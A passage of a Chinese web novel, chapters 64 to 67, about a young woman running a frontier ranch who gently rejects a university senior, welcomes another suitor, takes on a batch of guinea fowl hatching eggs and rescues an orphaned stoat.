姚新泉很自然地点头，“自然是不一样了，在哪里就要有在哪里的样子。我在写字楼里如果也是现在这幅模样，那肯定会成为她们中的焦点，并且被人议论，我没说一定要合群，但我不会特立独行。” “而在这里，我可以是任何模样，我可以不修边幅，我只需要做好我要做的事情就行！” 袁则瑞的心彻底沉了下去，他的声音低不可闻，也不知道是在问自己还是在问姚新泉，“那你还会回上海吗？” 第64章 姚新泉朝他笑了笑,可是那话却让袁则瑞觉得遍体生寒，“去玩的话会。” 他没有再问别的了，只是木然地跟在姚新泉身后干活,袁则瑞只觉得整个人的脑子都是空的,他想说什么却又觉得说什么都不合适。 第二天又干完一天活后姚新泉提早回家把腌好的肉都穿了起来,又找出了姚爸之前让人专门打的烤肉的炉子,她还把之前买的啤酒拎了出来。 姚新泉把烤好的羊肉串递给他,“学长,吃吃咱们新省本地羊怎么样？这是我去年回来之后买回来育肥的，算是我家牧场自己出产的。” 袁则瑞接过后低声道谢，他知道味道很不错，可还是觉得味同嚼蜡。 袁 则瑞打开啤酒喝了小半瓶,姚新泉只是看了一眼也没多说什么。 等感觉酒劲儿上来之后袁则瑞终于敢直直看向姚新泉,“新泉,你还记得那次我跟你说的话吗？” 姚新泉暗自叹了口气，其实她的不告而别已经是给了袁则瑞答复了，她也不想当面拒绝。 但如今袁则瑞既然找了过来,于情于理她都应该正式给对方一个答案。但袁则瑞这两天只是闷头干活,看得人心酸又难受，所以姚新泉才专门烤肉还配上了啤酒,就是想跟他彻底讲清楚的。 “我记得”,姚新泉嗯了一声,“学长,其实你应该看出来了，我没有想回去的意思。” 袁则瑞嗯了一声，他只觉得眼眶都酸酸的，“我看出来了,你现在很开心，可是我还是想问一句，那我呢？你对我就没有一点点舍不得吗？” 他以为他们两人就算没有默契，姚新泉心里应该也是有自己的一席之地的，几年的陪伴，姚新泉的身边也没有出现别的男人，他以为当他在上海站稳脚跟后就会跟姚新泉表白，两人就能在一起幸福生活，可怎么就这样了呢？ “学长，你是个好人”，说完姚新泉笑着叹了口气，“我不是敷衍你，我是真觉得你是个好人，不只是对我。你很热心，会帮助每一个需要帮助的同学，你能力也很强，对我也很贴心，从来不求回报。” 袁则瑞摇了摇头想说自己求回报，自己想要回报的，可是怎么都张不开口。 “但我从始至终都只是把你当朋友，上一次你问我愿不愿意给你机会，我确实没有明确拒绝你，但从那之后我便没有再跟你接触过，咱们这么多年交情，我是想着好歹不要扯破这层窗户纸，你可能只是一时的错觉，等你看清楚看明白之后，咱们还是好朋友。” 袁则瑞偏过头小心擦掉眼角的泪花，他声音嘶哑，“不是这样的，新泉，我也是小地方出来的人，在上海那样的大城市生活谈何容易？身边每一个都是天之骄子，他们说的东西我没见过，他们吃得东西我没吃过，我跟他们一直以来过得都是不一样的人生。你可能没有看出来，我在他们面前有多自卑，所以我努力读书，每次考专业第一，年年拿奖学金，要进最难进的外企！我要证明我不比任何人差！” 袁则瑞低吼出声，他是小山村出身的，父母都是文盲，如果不是自己当初去求了大队支书借钱上学，他们不会允许自己出去读书的！ 但是袁则瑞觉得自己一辈子的勇气都用在了当时去抗争得到读书的机会上，自那之后他心里的不安和自卑像是潮水一般将他淹没，直到遇见姚新泉。 姚新泉也是小地方出身，可她身上没有任何一点自卑的痕迹，她性格并不外向，可是却也有许多人都会主动靠向她，想和她成为朋友，比如自己。 她拒绝所有无用的社交，徜徉在知识的海洋里，所以哪怕很多人都对她感兴趣，但是最终能留在她身边的异性也只有自己。袁则瑞本以为自己会是特别的。 “学长，咱们不提那些虚头八脑的”，姚新泉像是没看到他情绪不对一样又递给他两串牛肉，“这家牧场倾注了我父母的全部心血，如今我也决定了要在这里书写我的人生。你呢？我能感受到你心里有必须留在上海的理由，为此你肯付出所有。那你觉得是你能说服我去上海还是你觉得你自己能愿意待在边疆的这个小县城里呢？” 不知道是姚新泉的话打破了他所有的幻想还是怎样，他突然喝了一大口啤酒用力抹了下眼睛，没钱的日子太难熬了，他曾经发过誓他不会让自己的孩子再过自己曾经过过的人生！ 他不会让自己的孩子低人一等，也不会让自己的孩子不舍得吃穿，他会留在大城市，让自己的孩子赢在起跑线上！ 袁则瑞用力吐出一口气，眼中闪过一抹释然，“你说得对，从你离开那一刻我就应该想通的，我没有你豁达”，袁则瑞自嘲地笑了笑，或许不是豁达，是因为她对自己没有爱吧！ 见他想通了姚新泉心里也高兴，这位学长曾经帮了她许多，她不希望因为这些事情毁掉两人的交情。 她把烤好的兔子肉递给他一串，“这是别人家给我的，烤兔子没吃过吧？你等明年再来，到时候家里就有自己养得鸡鸭鹅了，我一点不夸张，我牧场里养出来的东西比你在外面吃得好吃好多倍！” 见她眉眼间全是自豪，袁则瑞也笑了笑，“那我就等着吃了！你这手艺是真不错啊！” 也许想开了他终于有心思品尝面前的烤肉，肉嫩多汁，调味也做得好，出去开店都绰绰有余。 “它们要吃熟的吗？”他指向坐在一边等着投喂的小家伙们。 姚新泉点头，“狗狗们都是家养的肯定要吃熟的，莱尼的话虽然是野生动物，但是她从小时候开始被人救助就习惯了吃熟食，我也没给他们撒调料，都能吃！” 袁则瑞点了点头，他的目光隔着狗狗军团落在了莱尼身上，他心里有很多不解，之前没心思问，但现在心结打开了这才想起来问，“你家小豹子为什么对我有这么大的敌意？” 姚新泉意味不明地笑了笑却没说什么，可袁则瑞像是看明白了一样，有一瞬间的心酸，想到自己也只能叹了口气。 他不可能为任何人留下来，哪怕是姚新泉，所以一开始便失去了争的可能性，既然如此还有什么必要追根究底呢？ 他又喝了几口酒渐渐有些头晕起来，“我都搞不明白了，哪怕是外企，在国内的外企里面95%都是国人，到底有什么必要非得纯英语交流？大家都是中国人，装什么装啊！” 袁则瑞很是怨念，他高考的时候是要求要考英语的，但是英语也只是折70%计入总分，不能说不重要，只能说跟别的比起来相对没那么重要。 “我是小地方出身，学的就是哑巴英语，我们英语老师自己的口语都跟中毒了一样”，袁则瑞吐槽道。让他考试还成，让他对话那真是太难了。 一整个大学期间他每天都会早读一个小时，就是为了学英语，英语角里也到处都有他的身影。一放假他就会找各种机会去做跟锻炼口语相关的兼职，比方说给外国游客做导游、做景点讲解员。 或者去一些外国人常去的商店、超市或者其他购物地方做导购，反正都是些既能赚钱补贴生活又能想办法练习口语的地方。 这样四年下来他的英语不说说得跟母语一样吧，但是至少正常交流是可以做到了的。 可即便如此，他也不喜欢在没必要的情况下非要讲英文啊！ 当初加入外企是因为外企待遇好，就像这次请的年假，国企或者其他私企就没有，外企就有，所以综合考虑下来他还是进了外企，但过得反正也不怎么痛快。 姚新泉很是理解地点头，两人聊着过去、聊着将来的打算就这样不知不觉间袁则瑞便喝大了。 “学长？学长？”姚新泉拍了拍他的胳膊，就见袁则瑞大着舌头挥着胳膊，“我跟你说，我要做人上人！我要以后再也没人敢瞧不起我！我要证明读书是有用的，我要他们为自己以前不肯送我读书而后悔！” 听着他的念叨姚新泉眼神复杂的叹了口气，没喜欢上袁则瑞不是因为别 的，就是因为姚新泉能感觉到他心底有很大的自卑情绪。 作为朋友的时候袁则瑞无疑是很称职的，他也不会将自己的一些坏情绪带给姚新泉。 可问题是一旦成了男女朋友甚至是夫妻，谁能保证每天永远用自己正向、积极的一面对待爱人呢？ 这种自卑情绪在他心底压抑太久了，当他释放出来的时候第一个遭殃的肯定是他的爱人。 姚新泉不喜欢更没有兴趣去体会一个长期内心自卑表面自信的人释放内心情绪会是什么模样！ 除了长相、人品这些之外，姚新泉希望自己未来的爱人是温和却不软弱的，自信却不自大的，稳重而又成熟的，同时对方又得热爱生活有生命力等等。 反正跟袁则瑞还有一定的区别。 但不可否认，袁则瑞确实是个很好的朋友。 姚新泉叹了口气，把醉鬼一样的袁则瑞扶了起来架着他往姚爸姚妈的房间去，刚走到房子门口看到站在那儿的人，姚新泉愣了一下，“你怎么来了？” 第65章 “我不能来吗？”话一说出口师月江便觉得味道不对,他赶忙改口，“莱尼还在这里”。 可说完又觉得不对，怎么搞的自己好像只是为了莱尼而来一样！ 姚新泉扑哧笑出声来,搞的跟捉奸一样,她朝师月江抬了抬下巴,“行了,先把这个醉鬼送进去再安顿你。” 等把人放到床上后,师月江自己接手了照顾袁则瑞的事情,给他脱了衣服裤子后将人塞到了被子里，两人这才离开。 姚新泉他们没在屋子前面烤肉，是在屋子另一边背风的地方，所以没见到师月江过来。 两人去把东西都收拾进厨房,洗洗涮涮后姚新泉才问,“给你煮个疙瘩汤吃不吃？” 师月江自然点头,姚新泉在里面忙着的时候能感受到身后如有实质的一道目光，她无奈转身，“不许再看我了,你去看看莱尼吧！这个臭小猫昨天差点扑客人！” “你朋友吗？”师月江试探性地问道。 姚新泉轻笑一声,“你猜？” 不知为什么师月江也笑了起来，虽然说自己大老远赶过来后见到姚新泉身边站了另一位男性确实是让他觉得惊悚,可他也相信姚新泉不是那种在跟自己暧昧的同时还会亲近别人的人,所以心里并没有很担忧。 “他是我直系学长,确实帮了我好多。我当初从上海不告而别,他也是担心我所以找了过来。我跟他讲过了以后会好好发展我的牧场，他也还在上班，估计没多久就得回去了。” 师月江明白她的意思，对方是在告诉自己,她不会离开这里，就算有什么打算，也只能是自己迁就她留下。 可师月江本来就是来告诉她，自己愿意留下，自己也乐意在这边生活的呀！ 要是早几年他未必会同意，可如今也算是阅尽千帆了，才明白什么都是外物，只想跟着自己的感觉走。 见师月江表情没什么变化姚新泉也没再继续这个话题，师月江主动提起杜泊羊的事情，“我走得时候已经上火车了，等到了之后会联系我们，到时候我们去市里拉回来就是了，这次运的不多，我猜你应该也只是做尝试，所以就运了50头羊回来。” “目前肯定是够了的”，姚新泉点头，“羊圈里现在有300头湖羊，十来二十只公羊其实就够了。等杜泊羊到了做过隔离并且调整好身体状态，咱们就能给羊配种了。” 师月江点头，“对了，跟杜泊羊一起到的还有我买的一些机器，挤奶器、便携式超声仪、青贮收割机之类的，到时候可以一起拉回来。” 姚新泉眼睛都亮了，“你可以啊，花了多少钱？我把钱给你！” 师月江没接受，“这个不着急，等年底了再说吧！” 他自己很清楚，这些机器很多其实没有购买的必要性，可以租也可以人工代替。他花了钱是为了给姚新泉解决麻烦的，而不是为了给她增加经济负担的。 姚新泉笑着看了他一眼没拒绝他的好意，“栅栏安好之后我就得去买鸭苗跟鹅苗了，赵强会长也跟我说让我明天去那边领珍珠鸡了，那明天你在家看家，我去市里？” 师月江点了点头，“没问题。” 几个月的相处下来两人好像已经习惯了牧场上的事情分摊着来做，好像也不觉得一个“外人”不拿工资来给她白干活是一件很奇怪的事情。 “过会儿你把马肠子还有冬天时候烘的牛肉干找出来装好到时候给我学长带回去，你还知道在哪吧？” 师月江点头，“可以，那你是还有什么事情要做吗？” “我得学习啊！”姚新泉叹气，养的牲畜越多她越觉得自己是那么的无知。 饲养要学，防疫要学，治病要学，繁育也要学，就算不能做到专精，但是肯定得了解一些的。 本市没有农业大学，想得到政府的一些技术支持也没有那么容易，这边到底是偏远地区，整个县里艾力兽医的技术已经算是拔尖儿的了，所以不仅他负责的片区，就连别的地方不少牧民家里有事也还是会来找他，所以艾力兽医事情也多，她不可能只指望着艾力一个人。 想到什么她突然站了起来，拉着师月江就往外走，师月江看着她握着自己手腕的手微微弯起了嘴角。 “我给你介绍个新朋友，这可是这段时间我最得意的一件事情了！” 姚新泉拉着师月江到了马棚里，“猜猜他是哪里不对？” 师月江的目光在平安身上掠过，半晌很肯定地道，“是腿吧？之前骨折过？你治好了？” 姚新泉瞪大了眼睛，“你怎么看出来的？平安外表上已经看不出来了啊！” 师月江凑近了试探性地把手放在平安嘴边，见他没有抗拒，这才轻轻摸了摸他的脑袋。 “看不出来，但是见你这么高兴也能猜到肯定是很难治的病。他是叫平安是吗？” 得到姚新泉肯定的答复后他又继续道，“平安身上也没有手术的痕迹，所以我猜测应该是伤在腿上了！” “你真的很厉害啊！” 听着他发自内心的赞美姚新泉脸上的笑意更浓了，“你猜得真准，平安之前骨折了，不过不是特别严重的那种，目前已经在复健阶段了。对了，明天我去市里，白天你带着平安出去慢走5-10分钟，他得逐步恢复锻炼，再过一段时间慢慢就能小跑了。” 师月江不知道从哪里掏出了一块儿糖放到平安嘴边，没等他吃，从旁边探出一个马头把糖叼走了。 师月江忍不住笑了起来，眉眼弯弯看着特别无害。 “皮皮还是这个样子啊！”他感慨了一句又掏了一颗糖给平安。 姚新泉看着师月江，他现在比起第一次见面的时候胖了不少，当然只是比起之前的他来说，现在总体来讲还是清瘦的。 第一次见面的时候师月江脸上都是凹陷进去的，但如今多了些肉。而且哪怕经历了许多事情，师月江的眼神还是清澈又干净的，如今他看起来倒不像是当兵的，反而像是刚进入大学的男大学生一样。 姚新泉盯着他看了半晌才收回视线，没注意到师月江勾起的唇角。 “明天白天你要是没有事情的话你就在草原上转一转，看看要是有兔子洞或者什么别的洞就拿铁锹给它填起来吧！”草原上的洞，马在跑起来的过程中一旦不小心踩进去，那很容易就栽倒的！ 师月江自然是没有意见。 两人又聊了几句后才回到了客厅，师月江从箱子里掏出了两个东西递给她了一个。 “这是什么？”姚新泉没接。 “这是我哥送咱们的大哥大”，怕她不愿意收，师月江又多加了几句，“我大哥想着万一以后又遇到像之前那种大雪封山的天气，电话线再被压断，咱们又得几个月没办法跟外界联系，实在是太不方便了，又很让人担心，所以他就送了两台这个，他还想送卫星电话来着，我没要。” “不行不行，这个太贵了我不能接 受”，姚新泉赶忙拒绝，她虽然没有买过，但是听说过啊！这东西可只有大老板能用得起，她一个小小的牧场小老板哪里用得起这个？ 师月江叹了口气也没勉强她收下，师星野给他的时候他就知道姚新泉肯定是不会收的，至少现在不会，但他也不想打击哥哥的心意便还是带了过来。 见他没多劝姚新泉这才松了口气，如果两人真的有将来，那到时候对方送贵重礼物她未必不会收。 但如今两个人只能算是有了一定的默契，现在收人家的礼物反倒是影响了感情的纯粹，姚新泉不喜欢。 见师月江脸上有倦色，姚新泉便道，“那间屋子我学长住了，他又喝醉了，让你们一起住也不方便，我家里还有一个单人的弹簧床，不然在客厅给你搭一下先凑合一晚？” 师月江没有意见，曾经他什么恶劣条件没经历过，这都不叫事儿！ 两人从库房里把弹簧床搬了出来，又去姚爸姚妈的柜子上面把家里之前闲置的褥子跟被子都翻了出来。 “这床是我小时候睡得，你睡估计有点儿短”，姚新泉笑道，他这大个子在床上委屈了啊！ “我给你在床尾再放两张条凳，好歹你的脚有个搭的地方！” 师月江在客厅睡最高兴的是莱尼，她从师月江进来后便寸步不离地跟着他，看得师月江都心软得不行。 “她肯定特别想你，现在温度上来了莱尼也不怕冻着了，但外面在化雪，到处都脏兮兮的，莱尼还是不愿意出去”，这个小豹子又怕冷又怕脏的，这也就是幸好被人救了，否则怎么可能独立在外生存？ 师月江摸了摸莱尼的下巴，她发出了呼噜呼噜的声音，听得人心软软的。 “行了，这边你都熟悉，你自己看着收拾吧，我也不打扰你了，我去睡了，晚安！” “晚安！” 师月江洗漱过后躺在小床上，感受着莱尼在床边的呼吸声，想到姚新泉就在自己不远处，他畅想着未来的生活渐渐睡去，嘴角都带着笑意。 第66章 第二天一早姚新泉就去了市里,珍珠鸡的引进是扶持试点项目不用付钱，她只需要去带回来就行。 姚新泉到协会，赵媛媛现在跟她熟了,直接让她自己去赵强的办公室,赵强办公室的门开着,她刚想敲门但见他在打电话便把手放了下来,打算在旁边先等一等。 正准备坐下的时候就听赵强语气中满是不高兴,“我没说不能用种蛋孵化,但是你们应该提前跟我们说，这样的话不管是让养殖户自己去想办法找孵化器或者找母鸡抱窝，再或者由我们协会乃至政府牵头去孵化完之后再让养殖户领回去都可以。但现在蛋都到了你告诉我不是鸡苗？现在养殖户不愿意领走你说怎么办？” 电话那头不知道说了什么，赵强愈发生气了,声音大的恨不得将房顶穿透,“你这话是什么意思？我们边疆小城市条件确实不好,这是我们愿意的吗？我们现在积极引进珍珠鸡不就是为了致富吗？现在因为你们没有及时跟我们反馈一些信息，导致我们养殖户的利益受损，你现在还有理了？” “我吵吵？你要不跟我吵吵我能跟你吵吵吗？” 赵强没忍住拍起了桌子,“我告诉你,你的工作态度很有问题！我会向领导反映的！你不仅不及时跟我们下级单位反馈工作信息，你还瞧不起我们偏远地区！” 姚新泉皱了皱眉也坐不住了,她跟赵媛媛打了声招呼便离开了协会。 所以珍珠鸡不是鸡苗而是鸡蛋？ 本身珍珠鸡种蛋的孵化最佳期限就在7天之内,这种时候的孵化率正常是可以达到85%的。 如果保存得当,指的是恒温12-16摄氏度,湿度保持在70%左右，通风以及没有破损的情况下可以延长到10-14天。 可即便保存良好，每多一天，孵化率就会下降1%-2%。 这蛋如果没记错的话是从乌鲁木齐运过来的,不管是走铁路还是汽车，到这里最起码也有两三天，再加上这种蛋集齐一批怎么也得一两天，所以理想的孵化时间也就一两天了。 可问题是这段时间也刚好是鸡苗、鸭苗孵化的时间啊！ 姚新泉因为想要同批饲养伊犁鹅、草原绿头鸭以及珍珠鸡所以这段时间也在打听从哪里引进。 她之前打算养的藏鸡目前确实暂时放弃了这个打算，因为据她了解，藏鸡的话新省这边暂时还没有规模化养殖，如果想要引进的话可能得联系西藏和青海当地，太麻烦了，等以后再说吧！ 至于草原绿头鸭的话，虽然说这种家禽主要是从黑龙江和吉林那边的养殖场引进的，目前也没有规模化，但是姚新泉通过系统找到了一位本地的养殖户，据说那户人家因为北疆这边冬天寒冷养殖成本高，所以今年不打算继续养了，打算改为养殖北疆本地的伊犁鸭和巴音布鲁克鸭。 后者更适合高寒干旱环境，相对来讲养殖成本低一些。 至于姚新泉为什么非要去养草原绿头鸭，主要还是因为她盯上了国外市场。 两种鸭子单论食用价值的话，绿头鸭的肉质更鲜美，营养更丰富，相对来说更适合高端餐饮市场。 当然了也不是说北疆本地鸭子不好，本地鸭子活动量大，肉质紧实，脂肪少，也很适合炖煮和风干。 两种的面向市场不同罢了。 话又说回来，因为姚新泉最近在跟进这几件事情，所以她知道这段时间无论是在个人养殖户中还是在养殖场中都是孵化种蛋的时间。这种情况下，到哪里去找空闲的孵蛋器给他们珍珠鸡用？ 至于让母鸡孵化的话，母鸡呢？上面又不会把母鸡一起运过来！就算运过来，经过长时间的旅途之后，母鸡肯定会应激，不会去孵化的。 要是提前说也就罢了，种蛋送到了才说，总不能让人家养鸡场把已经孵化到一半的鸡蛋拿出来，把珍珠鸡蛋送进去吧？ 想到这里姚新泉都开始生气了，怨不得赵强跟要爆炸了一样呢！这也太不靠谱了吧！ “系统，你那边有关于孵化器的信息吗？”姚新泉暗暗叹气，死马当活马医吧！ “没有”，还没说完系统莫名停顿了一下，“有哦！” “啊？”姚新泉有点懵，不是没有吗，怎么又有了？靠不靠谱啊？ 系统像是知道她在想什么一样，“在你向系统寻求帮助的时候，一台孵化器已经进入系统检测范围内哦！”！ 姚新泉瞪大了眼睛，“哪来了？谁的？” “师月江的。” 姚新泉眨了眨眼，“你的意思是咱们市还有另一个师月江？这名字也不大众化吧？” 没等系统开腔嘲讽姚新泉便了然，“那就是他运来的那批机器里有，并且已经快到了？” 系统哼哼两声没有反驳，姚新泉这下高兴了，她赶忙跑到公用电话亭给家里打电话。 此时师月江正与袁则瑞在对峙，突然的电话铃声打断了两人剑拔弩张的气氛，师月江赶忙去接电话。 听出电话那头的人是姚新泉后，师月江的眉眼都温和了起来，“你说这不是巧了，我买了孵化器今天应该能到，你到时候在市里接收一下吧！” “可以啊！你不是也说了现在种蛋的孵化率可能不高了，既然其他人不要，你不如就全要回来，这么大的牧场还怕养不了？” 他瞥了袁则瑞一眼，“没事儿，我 会帮你的，饲料不够的话咱们可以人工喂养的！到了冬天的话绝大多数还是会出售，倒也不怎么费饲料。种蛋是免费的你就全接收了吧！” 两人又聊了几句后姚新泉才挂了电话，师月江不急不慢地将电话刚好，转头看向袁则瑞。 袁则瑞怎么也没想到，自己不过就是喝了顿酒，醒来之后自己心爱的女孩子家里就多了一个陌生男人！ 就算他已经明白两人不可能了，可是还是很崩溃啊！ “是新泉吗？”他干巴巴地问。 师月江笑着点头，“牧场里事情多，她一个人照顾起来也辛苦，我还是想多帮她分担分担。” 袁则瑞心里酸溜溜的，看着师月江的目光不算客气，“你已经和新泉谈恋爱了？” 师月江轻笑一声，“请问你是以什么身份什么立场来质问我的呢？” 不等袁则瑞继续，他又道，“我和新泉之间的事情应该也轮不到其他人置喙吧！” 袁则瑞脸色黑了起来，“我是新泉的学长，我们认识差不多四年了。” 师月江心里闷闷的可面上却是一片风轻云淡，“是吗，新泉也真是的，跟我在一起的时候也没见她提起过你！” 袁则瑞深吸一口气不想再去跟他打嘴炮了，“新泉什么时候回来？” “下午应该能回，她让我好好招待你，早饭我煮了稀饭跟鸡蛋，我再给你捞点咸菜？” 袁则瑞吃着稀饭心里骂骂咧咧，这稀饭怎么酸不拉几的，这男的不会害他吧？ 姚新泉心里记挂着珍珠鸡的事情，她都没想起来问袁则瑞的事情。 确定好有孵化器，并且中午就能到市里之后姚新泉又跑去了协会，见到赵强时对方脸色难看地朝她一笑。 “小姚啊，刚才你都听到了吧？”他虽然在很专心的吵架，但是余光扫到有人过来，问了赵媛媛之后才知道是姚新泉。 当时他心都凉了，所以姚新泉也不想要了是吗？ “我刚不小心听到了，所以珍珠鸡蛋是已经到了吗？” 赵强苦着脸点头，“可不是，到了我才知道是种蛋！” 他最开始还想着这个天儿鸡苗大老远被从乌鲁木齐送过来，这路上别折损得太多就不好了！ 结果到了之后他兴致勃勃地去看鸡苗才发现送过来了一车种蛋，赵强头发都要竖起来了！ “你听到了那我也不跟你打马虎眼，现在就是种蛋，到今天的话基本上已经六天左右了，孵化率不算高。” “之前跟你谈的咱们这个项目，你是可以免费领取500只鸡苗，等到明年这个时候你要提供500只鸡苗，或者600个种蛋。” “但如今的情况是，有养殖户听说了是领取种蛋，所以他们不愿意再加入这个项目试点，目前是1000颗种蛋都没有人认领。” 见姚新泉想说话他忙打断，“小姚你先听我说，我现在能给你的条件就是，你领取1000颗种蛋的话，明年你也只需要返还500只鸡苗或者600个种蛋，我们一样给你提供技术支持，同时如果养殖户自己没有销售市场，咱们还能想办法给你找销售市场。” “至于种蛋的孵化，我已经找了咱们市的养殖场，他们的孵化器确实在用，咱们肯定是没办法跟人抢，但是咱们可以先用他们之前淘汰下来的那一批。” “坏倒是没坏，就是效率不高，咱们先抓紧孵化，等他们那边腾出空来赶紧接着孵。” “同时我还会联系下面县里各养殖场租借他们现有空置的孵化器或者是之前淘汰的孵化器，再联系看看养殖场的母鸡能不能正常抱窝，咱们至少先动起来。” 姚新泉动心了，或者说就算师月江那边没有孵化器她觉得自己应该也会答应。 人工饲养的珍珠鸡就算没有特别去选育高产品种，基本上每年也能产卵100-150颗。 1000颗蛋按照现在的情况，大概孵化率能在60%-75%之间，那大概能孵化出600-700只小鸡。珍珠鸡的公母比例理论上是1:1，当然了这就是句废话，就算只有40%的母鸡，这也有240只到280只母鸡，一年产卵两三万颗。 就算有折损率，就算再考虑里面并不全是受精蛋，但是应付还给协会的应该是足足够的，这活儿能干。 第67章 “上面到底是什么情况？怎么会出现这么蠢的错误？”姚新泉没立马答应,她想知道上面到底是怎么了。 赵强想了想还是叹了口气，“也没什么不能说的，这个项目是协会牵头跟政府部门以及乌鲁木齐的一家国营养殖场三方决定做的一个项目,但现在那家养殖场虽然暂时还没转私营,可里面有想法的人不少,每个人都是一肚子的心眼子,好好做事的人不多啊！” 姚新泉了然,如果是这样的话,那未来至少短期内她也别想指望着那边能给自己什么技术支持了。 “我可以全吃下来，但是我有一个条件希望会长帮我去问一问”。 赵强赶忙问，“是什么？” “我不要求他们给技术指导，但是我要求看他们的饲养手册,可以复印了给我,做个参考。” 其实这手册也未必能完全适用,毕竟那边肯定是圈养，但是自家除了冬天还是以放养为主。 “这个我都不用问，我给你答应下来”,赵强拍了拍胸脯很是确定,“那这样，市里的孵化器我联系好了,我再给你联系县里的？” 姚新泉拒绝了,“这个不用,我已经联系上孵化器了,中型的，能同时孵化一两千颗蛋，足够我用了。” 赵强很是惊喜，“小姚你真是这个！”他比了个大拇指,他是真的确确实实松了口气。 虽然说这种项目未必要求一定做出什么成就来，但是如果就这样半途流产也很让人生气。 说难听一点，至少现在有人接手了，不是砸在自己手里！ 赵强心里暗暗决定，以后有这种项目必须得签合同！不然上游折腾，下游也折腾，就他倒霉！ 姚新泉在协会这边办好手续之后去签收了珍珠鸡种蛋，粗略看过去保存的还算比较完好，至少没有肉眼就看到坏了的情况，姚新泉满意地点了点头。 不过她有点担心这么大老远过来要是给鸡蛋颠得散黄了那就尴尬了，还孵个屁啊！ 司机是协会这边安排的，她把地址告诉对方后迫不及待地去火车站接那批机器了。 她坐了一辆揽客的三轮车，火车站在最初规划的时候就安排在了郊区，车走得不快，当姚新泉第三次在路上看到死老鼠的时候没忍住问，“最近是在灭鼠吗？” 司机师傅扯着嗓子嗯了一声，“这边不是有农田嘛，马上就得播种了，要是不灭鼠的话会啃种子的。” “下的老鼠药？” “不止呢！老鼠药、老鼠夹子，反正能用的都用上了！我们房子那边也安排上了。” 姚新泉暗暗叹了口气没再继续说话，用老鼠药确实有很大的危害，家禽还有小孩可能会误食，野生动物可能也会误食，还会造成环境污染什么的。 可问题是谁让这是最廉价的除鼠方法呢？ 正当她沉默地想事情时，系统突然出声，“检测到右前方200米处有一只动物需要救助，宿主是否救助？” 姚新泉愣了一下，这边虽说不是城市里面，但是来往的人跟车也不算少，这边能有野生动物？总不能又让她去别人嘴里救吧！ “师傅你稍微停一下行吗，我有点事情得下车，你等我五分钟。” 师傅倒也没不高兴，他还以为姚新泉是要去上厕所呢，主动侧过头看向另一边。 姚新泉下车后在路边找了起来，这里路边都是戈壁滩，倒不是说这边地本来就是这样的，主要是农民把地里的石头捡出来都堆到路两边了，看起来就跟戈壁滩一样。 姚新泉顺着系统的指引往前走，远远便看见一团白色的东西在石头后面躺着，姚新泉赶忙走了过去。 她看到地上躺着的小动物后愣了一下，“黄鼠狼？不对，白，白鼠狼？” 系统突然爆笑，“你是认真的还是在开玩笑？” 姚新泉懒得理他，不就是顺嘴一说吗？ “你确定让我救它？小家伙好像已经死了吧？你能看出是怎么死的吗？” “吃了被老鼠药毒死的死老鼠死的。” 姚新泉叹了口气，就知道会这样。 一个冬天过去小动物们肯定都非常饥饿，当路上有死老鼠的时候它们未必会放过。 姚新泉暗暗叹了口气，她四下看了看找到一个大石头搬了起来，留下一个大坑，然后将那只死去的小动物尸体抱了起来放在了坑里。 可刚抱起来后她便发觉了不对，所以这只身体后面还藏着一只？ 她先把尸体移开，就看到后面藏着的一只明显是幼崽的小家伙。 小家伙见到她后便吱吱叫着，一副受到惊吓的模样。 姚新泉暂时也没敢碰它，她把小动物尸体放到了刚才那个坑里，随后找了块儿扁平的石头把土往尸体上埋，直到完全盖住。 她又回到了那只小动物所在的地方，“系统，这是白鼬对吧？” “没错，也叫雪貂，不是保护动物。” 姚新泉叹了口气，她把自己早晨带过来没来得及吃的鸡蛋的蛋黄抠了出来，把蛋白随意塞在了嘴里。 “小家伙吃不吃啊？”她把鸡蛋黄捏碎放在手心递给小白鼬，小白鼬估计确实是饿的厉害了，它抽动着小鼻子凑了上去，没一会儿就把她手上的蛋黄全吃了。姚新泉又把剩下的都递给了它。看着它狼吞虎咽的样子姚新泉心里闷闷得很是不舒服。 看样子是饿了好久了，刚才那只白鼬估计是小白鼬母亲，自己都饿的瘦巴巴的了，更是顾不上孩子了。 等它吃完一颗蛋黄之后对姚新泉的恐惧跟敌意消失了很多，或者是姚新泉的金手指也起到了一定作用吧，她朝小家伙伸出了手，小家伙轻轻舔了下她的手指，姚新泉笑着把孩子抓了出来。 她点了点小白鼬的鼻子，稍微检查了一下孩子身上没什么明显的伤情便把它放到了背包里，“你先乖乖待着，等我办好事情后带你回家！” 等她上了车师傅也没多问，拉着她就继续往火车站走。 等到了地方后姚新泉也没等多久便等到了火车以及师月江安排的货车，接上东西后姚新泉坐在副驾准备回家。 姚新泉到的时候就看到师月江跟袁则瑞正在帮忙卸鸡蛋，她赶忙凑上去帮忙。等鸡蛋卸完几人又把机器卸下来，这才送走两辆汽车。 鸡蛋先放在储藏室那边，几人围在机器面前，姚新泉指着其中一个问，“这是？” “我买了个柴油发电机，这个孵蛋器是商用的中型孵蛋器，我担心同时使用的话可能会跳闸”，就算不跳闸，如今的电网还不断特别稳定，算不上频繁停电，但是偶尔还是会的。 这种停电不怎么影响正常生活，但是如果孵蛋的时候断上半天那就坑了。 “你想得可真周到啊！”姚新泉忍不住感叹，这次要不是师月江帮忙，难不成她还真跟赵强两人到处去借老母鸡抱窝？闹什么笑话呢？ 她围在那边看机器可总觉得好像有什么事情忘了，突然拍了下脑袋，“瞧我这记性！”她赶忙跑去自己背包那里把小白鼬抱了出来，她本来还以为小白鼬会着急呢，结果人家压根没醒！ 师月江失笑，“这是？” “白鼬，也叫雪貂，冬天的时候是白色的，夏天了毛色会变化，会变成棕色。它妈妈吃了被老鼠药毒死的死老鼠没命了，我路上碰到便收养了。” 师月江伸出手摸了摸它的小耳朵，小白鼬的耳朵被碰到后抖了两下看得师月江心都化了。 “你养在哪里了？”他不自觉地放轻了声音，引得姚新泉也看了他一眼，“先放仓库那边隔离几天吧！我过会儿去找下艾力大夫，小白鼬应该有2个月左右，可以打疫苗跟驱虫了”，没办法，没做驱虫万一身上有跳蚤之类的就麻烦了，虽然现在这个温度她觉得应该是没有的。 除此之外她每天要接触那么多牲畜，所以暂时还是给小家伙隔离开吧！ 至于疫苗，如今已经有了犬瘟热疫苗，这个必须得打，一旦白鼬感染了，致死率那可是100%的。 除此之外毕竟以后短期内应该不可能放生，那就还得打狂犬疫苗。 小白鼬的事情往后放一放，目前重要的是鸡蛋。 “我看那孵化器上好像自备了消毒剂，你先去给孵化器消毒，我去检查一下鸡蛋”，有裂纹的蛋肯定是不能用的，另外还得把鸡蛋钝头朝上，恢复气室。 